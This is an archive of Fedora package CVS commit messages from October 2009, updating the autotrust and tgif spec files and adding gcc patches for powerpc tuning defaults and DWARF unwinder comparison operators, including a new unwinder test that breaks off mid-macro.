 - Updated to autotrust 0.3.1
 - Try restarting running nameservers from the autotrust cron job



From pwouters at fedoraproject.org  Wed Oct 14 16:54:15 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 16:54:15 +0000 (UTC)
Subject: rpms/autotrust/F-11 .cvsignore, 1.2, 1.3 autotrust.spec, 1.2,
	1.3 sources, 1.2, 1.3
Message-ID: <20091014165415.19C0611C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/autotrust/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23961

Modified Files:
	.cvsignore autotrust.spec sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
- Updated to autotrust 0.3.1
- Try restarting running nameservers from the autotrust cron job
- Use the "named" version generated by dnssec-configure as trust anchor includes



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Jan 2009 00:29:35 -0000	1.2
+++ .cvsignore	14 Oct 2009 16:54:14 -0000	1.3
@@ -1 +1,2 @@
 autotrust-0.2.1rc1.tar.gz
+autotrust-0.3.1.tar.gz


Index: autotrust.spec
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-11/autotrust.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- autotrust.spec	24 Feb 2009 03:33:57 -0000	1.2
+++ autotrust.spec	14 Oct 2009 16:54:14 -0000	1.3
@@ -1,19 +1,16 @@
-%define prever rc1
-%define VERSION %{version}%{prever}
-
 Summary: DNSKEY trust anchor update utility that uses RFC-5011
 Name: autotrust
-Version: 0.2.1
-Release: 0.3.%{prever}%{?dist}
+Version: 0.3.1
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/%{name}/
-Source: http://www.nlnetlabs.nl/downloads/%{name}-%{VERSION}.tar.gz
+Source: http://www.nlnetlabs.nl/downloads/%{name}-%{version}.tar.gz
 Source1: autotrust.conf
 Source2: autotrust.cron
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: ldns-devel >= 1.3.0, unbound-devel >= 1.0.0
-Requires: anacron
+Requires: anacron, dnssec-conf
 
 %description
 autotrust takes care of keeping your DNSSEC trust anchors up to date. It
@@ -22,7 +19,7 @@ autotrust is meant to run from commandli
 follow the values recommended by RFC5011, autotrust should run as daemon. 
 
 %prep
-%setup -q -n autotrust-%{VERSION}
+%setup -q
 
 %build
 %configure --disable-rpath 
@@ -37,6 +34,7 @@ mkdir -p %{buildroot}%{_localstatedir}/l
 mkdir -p %{buildroot}%{_sysconfdir}/cron.daily/
 install -m 644 %{SOURCE1} %{buildroot}%{_sysconfdir}/%{name}/
 install -m 755 %{SOURCE2} %{buildroot}%{_sysconfdir}/cron.daily/autotrust
+rm %{buildroot}%{_sysconfdir}/%{name}/autotrust.conf.sample
 
 %clean
 rm -rf %{buildroot}
@@ -52,6 +50,11 @@ rm -rf %{buildroot}
 %attr(0755,root,root) %{_sysconfdir}/cron.daily/autotrust
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 0.3.1-1
+- Updated to autotrust 0.3.1
+- Try restarting running nameservers from the autotrust cron job
+- Use the "named" version generated by dnssec-configure as trust anchor includes
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.1-0.3.rc1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/autotrust/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Jan 2009 00:29:35 -0000	1.2
+++ sources	14 Oct 2009 16:54:14 -0000	1.3
@@ -1 +1,2 @@
 663254fbd41176e3b13952bffd49a21c  autotrust-0.2.1rc1.tar.gz
+ff0177aa0df8c645829fc26de2ac0b54  autotrust-0.3.1.tar.gz



From mtasaka at fedoraproject.org  Wed Oct 14 17:01:11 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 17:01:11 +0000 (UTC)
Subject: rpms/tgif/F-11 .cvsignore, 1.3, 1.4 sources, 1.3, 1.4 tgif.spec,
	1.11, 1.12
Message-ID: <20091014170112.14FB311C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26009/F-11

Modified Files:
	.cvsignore sources tgif.spec 
Log Message:
* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
- Bug fix release 4.2.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Oct 2009 20:44:46 -0000	1.3
+++ .cvsignore	14 Oct 2009 17:01:11 -0000	1.4
@@ -1 +1 @@
-tgif-QPL-4.2.tar.gz
+tgif-QPL-4.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Oct 2009 20:44:46 -0000	1.3
+++ sources	14 Oct 2009 17:01:11 -0000	1.4
@@ -1 +1 @@
-5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz
+e015c25a34ba1cd03a00b0649f9f0b21  tgif-QPL-4.2.1.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-11/tgif.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- tgif.spec	7 Oct 2009 21:04:26 -0000	1.11
+++ tgif.spec	14 Oct 2009 17:01:11 -0000	1.12
@@ -1,5 +1,5 @@
 Name:		tgif
-Version:	4.2
+Version:	4.2.1
 Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
@@ -94,7 +94,6 @@ done
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
-	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
 	DATADIR=%{_datadir} \
 	install \
@@ -181,6 +180,9 @@ exit 0
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
+- Bug fix release 4.2.1
+
 * Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
 - Update to 4.2
   * Almost all patches/sources/etc in Fedora rpms (actually borrowed



From mtasaka at fedoraproject.org  Wed Oct 14 17:01:12 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 17:01:12 +0000 (UTC)
Subject: rpms/tgif/F-12 .cvsignore, 1.3, 1.4 sources, 1.3, 1.4 tgif.spec,
	1.12, 1.13
Message-ID: <20091014170112.C82C411C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26009/F-12

Modified Files:
	.cvsignore sources tgif.spec 
Log Message:
* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
- Bug fix release 4.2.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Oct 2009 20:44:47 -0000	1.3
+++ .cvsignore	14 Oct 2009 17:01:11 -0000	1.4
@@ -1 +1 @@
-tgif-QPL-4.2.tar.gz
+tgif-QPL-4.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Oct 2009 20:44:47 -0000	1.3
+++ sources	14 Oct 2009 17:01:12 -0000	1.4
@@ -1 +1 @@
-5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz
+e015c25a34ba1cd03a00b0649f9f0b21  tgif-QPL-4.2.1.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/F-12/tgif.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- tgif.spec	7 Oct 2009 21:04:27 -0000	1.12
+++ tgif.spec	14 Oct 2009 17:01:12 -0000	1.13
@@ -1,5 +1,5 @@
 Name:		tgif
-Version:	4.2
+Version:	4.2.1
 Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
@@ -94,7 +94,6 @@ done
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
-	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
 	DATADIR=%{_datadir} \
 	install \
@@ -181,6 +180,9 @@ exit 0
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
+- Bug fix release 4.2.1
+
 * Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
 - Update to 4.2
   * Almost all patches/sources/etc in Fedora rpms (actually borrowed



From mtasaka at fedoraproject.org  Wed Oct 14 17:01:13 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 17:01:13 +0000 (UTC)
Subject: rpms/tgif/devel .cvsignore, 1.3, 1.4 sources, 1.3, 1.4 tgif.spec,
	1.13, 1.14
Message-ID: <20091014170113.47B5911C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26009/devel

Modified Files:
	.cvsignore sources tgif.spec 
Log Message:
* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
- Bug fix release 4.2.1



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	7 Oct 2009 20:44:47 -0000	1.3
+++ .cvsignore	14 Oct 2009 17:01:12 -0000	1.4
@@ -1 +1 @@
-tgif-QPL-4.2.tar.gz
+tgif-QPL-4.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	7 Oct 2009 20:44:47 -0000	1.3
+++ sources	14 Oct 2009 17:01:12 -0000	1.4
@@ -1 +1 @@
-5c6540d48ae1c6060af4285175e47f76  tgif-QPL-4.2.tar.gz
+e015c25a34ba1cd03a00b0649f9f0b21  tgif-QPL-4.2.1.tar.gz


Index: tgif.spec
===================================================================
RCS file: /cvs/extras/rpms/tgif/devel/tgif.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- tgif.spec	7 Oct 2009 20:58:41 -0000	1.13
+++ tgif.spec	14 Oct 2009 17:01:12 -0000	1.14
@@ -1,5 +1,5 @@
 Name:		tgif
-Version:	4.2
+Version:	4.2.1
 Release:	1%{?dist}
 Summary:	2-D drawing tool
 Group:		Applications/Multimedia
@@ -94,7 +94,6 @@ done
 	DESTDIR=$RPM_BUILD_ROOT/ \
 	BINDIR=%{_libexecdir}/ \
 	TGIFDIR=%{_datadir}/tgif/ \
-	ICONSDIR=icons/ \
 	INSTALLFLAGS="-cp" \
 	DATADIR=%{_datadir} \
 	install \
@@ -181,6 +180,9 @@ exit 0
 %{_datadir}/applications/*-%{name}.desktop
 
 %changelog
+* Thu Oct 15 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2.1-1
+- Bug fix release 4.2.1
+
 * Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 4.2-1
 - Update to 4.2
   * Almost all patches/sources/etc in Fedora rpms (actually borrowed



From jakub at fedoraproject.org  Wed Oct 14 17:21:47 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Wed, 14 Oct 2009 17:21:47 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-powerpc-with-tune.patch, NONE,
	1.1 gcc44-unwind-leltgegt.patch, NONE, 1.1 .cvsignore, 1.299,
	1.300 gcc.spec, 1.78, 1.79 sources, 1.303,
	1.304 gcc44-pr41646.patch, 1.2, NONE gcc44-rhel6-power4.patch,
	1.1, NONE gcc44-vta-rh521991-2.patch, 1.1,
	NONE gcc44-vta-rh521991.patch, 1.1, NONE
Message-ID: <20091014172147.D7C1A11C00E5@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30496

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-powerpc-with-tune.patch gcc44-unwind-leltgegt.patch 
Removed Files:
	gcc44-pr41646.patch gcc44-rhel6-power4.patch 
	gcc44-vta-rh521991-2.patch gcc44-vta-rh521991.patch 
Log Message:
4.4.1-22

gcc44-powerpc-with-tune.patch:
 option-defaults.h |   12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE gcc44-powerpc-with-tune.patch ---
2009-10-14  Jakub Jelinek  <jakub at redhat.com>

	* config/rs6000/option-defaults.h (OPTION_DEFAULT_SPECS): Don't
	add --with-tune{,-32,-64} configured default for -mtune if explicit
	-mcpu is used.

--- gcc/config/rs6000/option-defaults.h.jj	2009-06-02 18:36:50.000000000 +0200
+++ gcc/config/rs6000/option-defaults.h	2009-10-14 18:28:50.134723716 +0200
@@ -50,15 +50,15 @@
 /* Support for a compile-time default CPU, et cetera.  The rules are:
    --with-cpu is ignored if -mcpu is specified; likewise --with-cpu-32
      and --with-cpu-64.
-   --with-tune is ignored if -mtune is specified; likewise --with-tune-32
-     and --with-tune-64.
+   --with-tune is ignored if -mtune or -mcpu is specified; likewise
+     --with-tune-32 and --with-tune-64.
    --with-float is ignored if -mhard-float or -msoft-float are
-    specified.  */
+     specified.  */
 #define OPTION_DEFAULT_SPECS \
+  {"tune", "%{!mtune=*:%{!mcpu=*:-mtune=%(VALUE)}}" }, \
+  {"tune_32", "%{" OPT_ARCH32 ":%{!mtune=*:%{!mcpu=*:-mtune=%(VALUE)}}}" }, \
+  {"tune_64", "%{" OPT_ARCH64 ":%{!mtune=*:%{!mcpu=*:-mtune=%(VALUE)}}}" }, \
   {"cpu", "%{!mcpu=*:-mcpu=%(VALUE)}" }, \
   {"cpu_32", "%{" OPT_ARCH32 ":%{!mcpu=*:-mcpu=%(VALUE)}}" }, \
   {"cpu_64", "%{" OPT_ARCH64 ":%{!mcpu=*:-mcpu=%(VALUE)}}" }, \
-  {"tune", "%{!mtune=*:-mtune=%(VALUE)}" }, \
-  {"tune_32", "%{" OPT_ARCH32 ":%{!mtune=*:-mtune=%(VALUE)}}" }, \
-  {"tune_64", "%{" OPT_ARCH64 ":%{!mtune=*:-mtune=%(VALUE)}}" }, \
   {"float", "%{!msoft-float:%{!mhard-float:-m%(VALUE)-float}}" }

gcc44-unwind-leltgegt.patch:
 testsuite/gcc.dg/cleanup-13.c |  319 ++++++++++++++++++++++++++++++++++++++++++
 unwind-dw2.c                  |   12 -
 2 files changed, 325 insertions(+), 6 deletions(-)

--- NEW FILE gcc44-unwind-leltgegt.patch ---
2009-10-13  Jakub Jelinek  <jakub at redhat.com>

	* unwind-dw2.c (execute_stack_op): Fix operand order for
	DW_OP_le, DW_OP_ge, DW_OP_lt and DW_OP_gt.

	* gcc.dg/cleanup-13.c: New test.

--- gcc/unwind-dw2.c.jj	2009-09-08 15:16:11.000000000 +0200
+++ gcc/unwind-dw2.c	2009-10-13 19:13:31.000000000 +0200
@@ -789,22 +789,22 @@ execute_stack_op (const unsigned char *o
 		result = second ^ first;
 		break;
 	      case DW_OP_le:
-		result = (_Unwind_Sword) first <= (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second <= (_Unwind_Sword) first;
 		break;
 	      case DW_OP_ge:
-		result = (_Unwind_Sword) first >= (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second >= (_Unwind_Sword) first;
 		break;
 	      case DW_OP_eq:
-		result = (_Unwind_Sword) first == (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second == (_Unwind_Sword) first;
 		break;
 	      case DW_OP_lt:
-		result = (_Unwind_Sword) first < (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second < (_Unwind_Sword) first;
 		break;
 	      case DW_OP_gt:
-		result = (_Unwind_Sword) first > (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second > (_Unwind_Sword) first;
 		break;
 	      case DW_OP_ne:
-		result = (_Unwind_Sword) first != (_Unwind_Sword) second;
+		result = (_Unwind_Sword) second != (_Unwind_Sword) first;
 		break;
 
 	      default:
--- gcc/testsuite/gcc.dg/cleanup-13.c.jj	2009-10-13 16:46:54.000000000 +0200
+++ gcc/testsuite/gcc.dg/cleanup-13.c	2009-10-13 19:20:07.000000000 +0200
@@ -0,0 +1,319 @@
+/* HP-UX libunwind.so doesn't provide _UA_END_OF_STACK */
+/* { dg-do run } */
+/* { dg-options "-fexceptions" } */
+/* { dg-skip-if "" { "ia64-*-hpux11.*" }  { "*" } { "" } } */
+/* Verify DW_OP_* handling in the unwinder.  */
+
+#include <unwind.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* #define OP_addr(x) 0x06, ... */
+#define OP_deref 0x06,
+#define SLEB128(x) (x)&0x7f	/* Assume here the value is -0x40 ... 0x3f.  */
+#define ULEB128(x) (x)&0x7f	/* Assume here the value is 0 ... 0x7f.  */
+#define VAL1(x) (x)&0xff
+#if defined (__BIG_ENDIAN__)
+#define VAL2(x) ((x)>>8)&0xff,(x)&0xff
+#define VAL4(x) ((x)>>24)&0xff,((x)>>16)&0xff,((x)>>8)&0xff,(x)&0xff
+#define VAL8(x) ((x)>>56)&0xff,((x)>>48)&0xff,((x)>>40)&0xff,((x)>>32)&0xff,((x)>>24)&0xff,((x)>>16)&0xff,((x)>>8)&0xff,(x)&0xff
+#elif defined(__LITTLE_ENDIAN__) || defined(__x86_64__) || defined(__i386__)
+#define VAL2(x) (x)&0xff,((x)>>8)&0xff
+#define VAL4(x) (x)&0xff,((x)>>8)&0xff,((x)>>16)&0xff,((x)>>24)&0xff
+#define VAL8(x) (x)&0xff,((x)>>8)&0xff,((x)>>16)&0xff,((x)>>24)&0xff,((x)>>32)&0xff,((x)>>40)&0xff,((x)>>48)&0xff,((x)>>56)&0xff
+#endif
+#define OP_const1u(x) 0x08,VAL1(x),
+#define OP_const1s(x) 0x09,VAL1(x),
+#define OP_const2u(x) 0x0a,VAL2(x),
+#define OP_const2s(x) 0x0b,VAL2(x),
+#define OP_const4u(x) 0x0c,VAL4(x),
+#define OP_const4s(x) 0x0d,VAL4(x),
+#define OP_const8u(x) 0x0e,VAL8(x),
+#define OP_const8s(x) 0x0f,VAL8(x),
+#define OP_constu(x) 0x10,ULEB128(x),
+#define OP_consts(x) 0x11,SLEB128(x),
+#define OP_dup 0x12,
+#define OP_drop 0x13,
+#define OP_over 0x14,
+#define OP_pick(x) 0x15,VAL1(x),
+#define OP_swap 0x16,
+#define OP_rot 0x17,
+#define OP_xderef 0x18,
+#define OP_abs 0x19,
+#define OP_and 0x1a,
+#define OP_div 0x1b,
+#define OP_minus 0x1c,
+#define OP_mod 0x1d,
+#define OP_mul 0x1e,
+#define OP_neg 0x1f,
+#define OP_not 0x20,
+#define OP_or 0x21,
+#define OP_plus 0x22,
+#define OP_plus_uconst(x) 0x23,ULEB128(x),
+#define OP_shl 0x24,
+#define OP_shr 0x25,
+#define OP_shra 0x26,
+#define OP_xor 0x27,
+#define OP_bra(x) 0x28,VAL2(x),
+#define OP_eq 0x29,
+#define OP_ge 0x2a,
+#define OP_gt 0x2b,
+#define OP_le 0x2c,
+#define OP_lt 0x2d,
+#define OP_ne 0x2e,
+#define OP_skip(x) 0x2f,VAL2(x),
+#define OP_lit0 0x30,
+#define OP_lit1 0x31,
+#define OP_lit2 0x32,
+#define OP_lit3 0x33,
+#define OP_lit4 0x34,
+#define OP_lit5 0x35,
+#define OP_lit6 0x36,
+#define OP_lit7 0x37,
+#define OP_lit8 0x38,
+#define OP_lit9 0x39,
+#define OP_lit10 0x3a,
+#define OP_lit11 0x3b,
+#define OP_lit12 0x3c,
+#define OP_lit13 0x3d,
+#define OP_lit14 0x3e,
+#define OP_lit15 0x3f,
+#define OP_lit16 0x40,
+#define OP_lit17 0x41,
+#define OP_lit18 0x42,
+#define OP_lit19 0x43,
+#define OP_lit20 0x44,
+#define OP_lit21 0x45,
+#define OP_lit22 0x46,
+#define OP_lit23 0x47,
+#define OP_lit24 0x48,
+#define OP_lit25 0x49,
+#define OP_lit26 0x4a,
+#define OP_lit27 0x4b,
+#define OP_lit28 0x4c,
+#define OP_lit29 0x4d,
+#define OP_lit30 0x4e,
+#define OP_lit31 0x4f,
+#define OP_reg0 0x50,
+#define OP_reg1 0x51,
+#define OP_reg2 0x52,
+#define OP_reg3 0x53,
+#define OP_reg4 0x54,
+#define OP_reg5 0x55,
+#define OP_reg6 0x56,
+#define OP_reg7 0x57,
+#define OP_reg8 0x58,
+#define OP_reg9 0x59,
+#define OP_reg10 0x5a,
+#define OP_reg11 0x5b,
+#define OP_reg12 0x5c,
+#define OP_reg13 0x5d,
+#define OP_reg14 0x5e,
+#define OP_reg15 0x5f,
+#define OP_reg16 0x60,
+#define OP_reg17 0x61,
+#define OP_reg18 0x62,
+#define OP_reg19 0x63,
+#define OP_reg20 0x64,
+#define OP_reg21 0x65,
+#define OP_reg22 0x66,
+#define OP_reg23 0x67,
+#define OP_reg24 0x68,
+#define OP_reg25 0x69,
+#define OP_reg26 0x6a,
+#define OP_reg27 0x6b,
+#define OP_reg28 0x6c,
+#define OP_reg29 0x6d,
+#define OP_reg30 0x6e,
+#define OP_reg31 0x6f,
+#define OP_breg0(x) 0x70,SLEB128(x),
+#define OP_breg1(x) 0x71,SLEB128(x),
+#define OP_breg2(x) 0x72,SLEB128(x),
+#define OP_breg3(x) 0x73,SLEB128(x),
+#define OP_breg4(x) 0x74,SLEB128(x),
+#define OP_breg5(x) 0x75,SLEB128(x),
+#define OP_breg6(x) 0x76,SLEB128(x),
+#define OP_breg7(x) 0x77,SLEB128(x),
+#define OP_breg8(x) 0x78,SLEB128(x),
+#define OP_breg9(x) 0x79,SLEB128(x),
+#define OP_breg10(x) 0x7a,SLEB128(x),
+#define OP_breg11(x) 0x7b,SLEB128(x),
+#define OP_breg12(x) 0x7c,SLEB128(x),
+#define OP_breg13(x) 0x7d,SLEB128(x),
+#define OP_breg14(x) 0x7e,SLEB128(x),
+#define OP_breg15(x) 0x7f,SLEB128(x),
+#define OP_breg16(x) 0x80,SLEB128(x),
+#define OP_breg17(x) 0x81,SLEB128(x),
+#define OP_breg18(x) 0x82,SLEB128(x),
+#define OP_breg19(x) 0x83,SLEB128(x),
+#define OP_breg20(x) 0x84,SLEB128(x),
+#define OP_breg21(x) 0x85,SLEB128(x),
+#define OP_breg22(x) 0x86,SLEB128(x),
+#define OP_breg23(x) 0x87,SLEB128(x),
+#define OP_breg24(x) 0x88,SLEB128(x),
+#define OP_breg25(x) 0x89,SLEB128(x),
+#define OP_breg26(x) 0x8a,SLEB128(x),
+#define OP_breg27(x) 0x8b,SLEB128(x),
+#define OP_breg28(x) 0x8c,SLEB128(x),
+#define OP_breg29(x) 0x8d,SLEB128(x),
+#define OP_breg30(x) 0x8e,SLEB128(x),
+#define OP_breg31(x) 0x8f,SLEB128(x),
+#define OP_regx(x) 0x90,SLEB128(x),
+#define OP_fbreg(x) 0x91,SLEB128(x),
+#define OP_bregx(x,y) 0x92,ULEB128(x),SLEB128(y),
+#define OP_piece(x) 0x93,ULEB128(x),
+#define OP_deref_size(x) 0x94,VAL1(x),
+#define OP_xderef_size(x) 0x95,VAL1(x),
+#define OP_nop 0x96,
+#define OP_nop_termination 0x96
+#define OP_push_object_address 0x97,
+#define OP_call2(x) 0x98,VAL2(x),
+#define OP_call4(x) 0x99,VAL4(x),
+/* #define OP_call_ref(x) 0x9a,... */
+#define OP_form_tls_address(x) 0x9b,
+#define OP_call_frame_cfa 0x9c,
+#define OP_bit_piece(x) 0x9d,ULEB128(x),
+/* #define OP_implicit_value(x...) 0x9e,... */
+#define OP_stack_value 0x9f,
+#define OP_GNU_push_tls_address 0xe0,
+/* #define OP_GNU_encoded_addr(x...) 0xf1, */
+
+#define ASSERT_TOS_NON0 OP_bra(3) OP_skip(-3)
+#define ASSERT_TOS_0 OP_lit0 OP_eq ASSERT_TOS_NON0
+
+/* Initially there is CFA value on the stack, we want to
+   keep it there at the end.  */
+#define CFI_PROGRAM \
+OP_lit0 OP_nop ASSERT_TOS_0						\
+OP_lit1 ASSERT_TOS_NON0							\
+OP_lit1 OP_const1u(1) OP_eq ASSERT_TOS_NON0				\
+OP_lit16 OP_const2u(16) OP_eq ASSERT_TOS_NON0				\
+OP_lit31 OP_const4u(31) OP_ne ASSERT_TOS_0				\
+OP_lit1 OP_neg OP_const1s(-1) OP_eq ASSERT_TOS_NON0			\
+OP_lit16 OP_neg OP_const2s(-16) OP_ne ASSERT_TOS_0			\
+OP_lit31 OP_const4s(-31) OP_neg OP_ne ASSERT_TOS_0			\
+OP_lit7 OP_dup OP_plus_uconst(2) OP_lit9 OP_eq ASSERT_TOS_NON0		\
+  OP_lit7 OP_eq ASSERT_TOS_NON0						\
+OP_lit20 OP_lit1 OP_drop OP_lit20 OP_eq ASSERT_TOS_NON0			\
+OP_lit17 OP_lit19 OP_over OP_lit17 OP_eq ASSERT_TOS_NON0		\
+  OP_lit19 OP_eq ASSERT_TOS_NON0 OP_lit17 OP_eq ASSERT_TOS_NON0		\
+OP_lit1 OP_lit2 OP_lit3 OP_lit4 OP_pick(2) OP_lit2 OP_eq ASSERT_TOS_NON0\
+  OP_lit4 OP_eq ASSERT_TOS_NON0 OP_lit3 OP_eq ASSERT_TOS_NON0		\
+  OP_pick(0) OP_lit2 OP_eq ASSERT_TOS_NON0				\
+  OP_lit2 OP_eq ASSERT_TOS_NON0 OP_lit1 OP_eq ASSERT_TOS_NON0		\
+OP_lit6 OP_lit12 OP_swap OP_lit6 OP_eq ASSERT_TOS_NON0			\
+  OP_lit12 OP_eq ASSERT_TOS_NON0					\
+OP_lit7 OP_lit8 OP_lit9 OP_rot OP_lit8 OP_eq ASSERT_TOS_NON0		\
+  OP_lit7 OP_eq ASSERT_TOS_NON0 OP_lit9 OP_eq ASSERT_TOS_NON0		\
+OP_lit7 OP_abs OP_lit7 OP_eq ASSERT_TOS_NON0				\
+OP_const1s(-123) OP_abs OP_const1u(123) OP_eq ASSERT_TOS_NON0		\
+OP_lit3 OP_lit6 OP_and OP_lit2 OP_eq ASSERT_TOS_NON0			\
+OP_lit3 OP_lit6 OP_or OP_lit7 OP_eq ASSERT_TOS_NON0			\
+OP_lit17 OP_lit2 OP_minus OP_lit15 OP_eq ASSERT_TOS_NON0		\
+OP_const1s(-6) OP_const1s(-2) OP_div OP_lit3 OP_eq ASSERT_TOS_NON0	\
+OP_const1s(-6) OP_const1s(-4) OP_mod OP_const1s(-2)			\
+  OP_eq ASSERT_TOS_NON0							\
+OP_lit16 OP_lit31 OP_plus_uconst(1) OP_mul OP_const2u(512)		\
+  OP_eq ASSERT_TOS_NON0							\
+OP_lit5 OP_not OP_lit31 OP_and OP_lit26 OP_eq ASSERT_TOS_NON0		\
+OP_lit12 OP_lit31 OP_plus OP_const1u(43) OP_eq ASSERT_TOS_NON0		\
+OP_const1s(-6) OP_lit2 OP_plus OP_const1s(-4) OP_eq ASSERT_TOS_NON0	\
+OP_const1s(-6) OP_plus_uconst(3) OP_const1s(-3) OP_eq ASSERT_TOS_NON0	\
+OP_lit16 OP_lit4 OP_shl OP_const2u(256) OP_eq ASSERT_TOS_NON0		\
+OP_lit16 OP_lit3 OP_shr OP_lit2 OP_eq ASSERT_TOS_NON0			\
+OP_const1s(-16) OP_lit3 OP_shra OP_const1s(-2) OP_eq ASSERT_TOS_NON0	\
+OP_lit3 OP_lit6 OP_xor OP_lit5 OP_eq ASSERT_TOS_NON0			\
+OP_lit3 OP_lit6 OP_le ASSERT_TOS_NON0					\
+OP_lit3 OP_lit3 OP_le ASSERT_TOS_NON0					\
+OP_lit6 OP_lit3 OP_le ASSERT_TOS_0					\
+OP_lit3 OP_lit6 OP_lt ASSERT_TOS_NON0					\
+OP_lit3 OP_lit3 OP_lt ASSERT_TOS_0					\
+OP_lit6 OP_lit3 OP_lt ASSERT_TOS_0					\
+OP_lit3 OP_lit6 OP_ge ASSERT_TOS_0					\
+OP_lit3 OP_lit3 OP_ge ASSERT_TOS_NON0					\
+OP_lit6 OP_lit3 OP_ge ASSERT_TOS_NON0					\
+OP_lit3 OP_lit6 OP_gt ASSERT_TOS_0					\
